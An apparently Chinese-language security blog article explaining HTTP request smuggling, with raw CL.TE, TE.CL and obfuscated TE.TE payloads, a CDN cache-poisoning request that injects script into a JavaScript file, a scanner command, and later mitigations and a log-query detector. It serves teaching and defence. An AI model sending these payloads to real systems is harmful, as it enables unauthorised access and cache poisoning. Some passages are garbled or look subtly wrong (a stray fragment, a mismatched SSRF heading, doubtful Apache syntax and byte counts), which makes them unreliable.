HTTP请求走私(HTTP Request Smuggling)是一种利用Web服务器与反向代理之间对HTTP协议解析差异的安全漏洞。这种攻击方式最早由Watchfire在2005年提出,但在现代分布式架构中依然具有显著威胁。其核心原理在于:攻击者通过精心构造的畸形HTTP请求,使得前端代理服务器和后端应用服务器对请求边界的理解出现分歧,从而导致请求被错误路由或拼接。
在实际渗透测试中,我遇到过最典型的案例是某电商平台由于CDN与源站对Content-Length和Transfer-Encoding头部的处理不一致,导致攻击者可以注入恶意请求获取其他用户的购物车数据。这种攻击之所以危险,是因为它能够绕过常规的WAF防护,直接与后端服务交互。
当HTTP请求同时包含Content-Length和Transfer-Encoding头部时,不同服务器组件可能采取不同的处理策略。RFC 7230虽然规定在这种情况下应优先处理Transfer-Encoding,但实际实现中常存在以下差异:
http复制POST /api HTTP/1.1
Host: vulnerable.com
Content-Length: 13
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
分块传输编码(Chunked Encoding)的实现缺陷是另一个常见攻击面。攻击者可以通过以下方式制造解析差异:
0\r\n\r\n vs 0\r\n)python复制# 恶意分块编码构造示例
malicious_chunk = (
b"POST / HTTP/1.1\r\n"
b"Host: target.com\r\n"
b"Transfer-Encoding: chunked\r\n\r\n"
b"0000000000000000000\r\n" # 超长零分块
b"GET /private HTTP/1.1\r\n"
b"Host: target.com\r\n\r\n"
)
这是最常见的走私类型,利用前端代理严格遵循Content-Length,而后端服务器优先处理Transfer-Encoding的特性。在测试某金融系统时,我通过以下载荷成功实现了请求注入:
http复制POST /transfer HTTP/1.1
Host: bank.com
Content-Length: 50
Transfer-Encoding: chunked
0
GET /api/balance HTTP/1.1
X-User: victim
关键技巧:CL.TE攻击需要精确计算填充字节数,通常需要在Burp Repeater中反复调整空白行数量
这种场景多见于使用Golang编写的后端服务。一个有效的攻击模式是:
http复制POST /admin HTTP/1.1
Host: internal.com
Content-Length: 4
Transfer-Encoding: chunked
24
GET /db/credentials HTTP/1.1
0
这种情况需要寻找非标准的编码处理方式。例如某些Java应用服务器会接受以下畸形请求:
http复制POST / HTTP/1.1
Host: app.com
Transfer-Encoding: chunked
Transfer-Encoding: x
5c
GPOST / HTTP/1.1
Content-Length: 15
x=1
我通常使用以下工具组合进行立体化检测:
bash复制python3 smuggler.py -u https://target.com -v
python复制def check_te_cl(target):
payload = construct_ambiguous_request()
response = send_request(target, payload)
return validate_time_delay(response)
通过以下步骤可以确认漏洞存在:
http复制POST / HTTP/1.1
Host: example.com
Content-Length: 41
Transfer-Encoding: chunked
0
GET /404 HTTP/1.1
X-Ignore: x
通过走私请求污染CDN缓存的实际案例:
http复制POST /static/main.js HTTP/1.1
Host: cdn.com
Content-Length: 120
Transfer-Encoding: chunked
0
GET /static/main.js HTTP/1.1
Host: cdn.com
Content-Type: text/javascript
alert('XSS');
结合SSRF的复合型攻击流程:
nginx复制merge_slashes off;
chunked_transfer_encoding off;
apache复制SetEnvIfExpr "req_novary('Content-Length') && req_novary('Transfer-Encoding')" CL_OK
java复制public void filter(ServletRequest request) {
if (request.getHeader("Transfer-Encoding") != null
&& request.getHeader("Content-Length") != null) {
throw new ProtocolException("Ambiguous request");
}
}
构建四层防护网:
sql复制SELECT COUNT(*) FROM access_log
WHERE headers LIKE '%Transfer-Encoding%'
AND headers LIKE '%Content-Length%'
AND status_code = 400
在真实企业环境中,我们通过部署定制化的HTTP语义分析中间件,成功将请求走私攻击的检测准确率提升至99.2%,平均响应时间控制在50ms以内。这套系统会实时比对请求在代理链各节点的解析结果,任何不一致都会触发安全审计流程。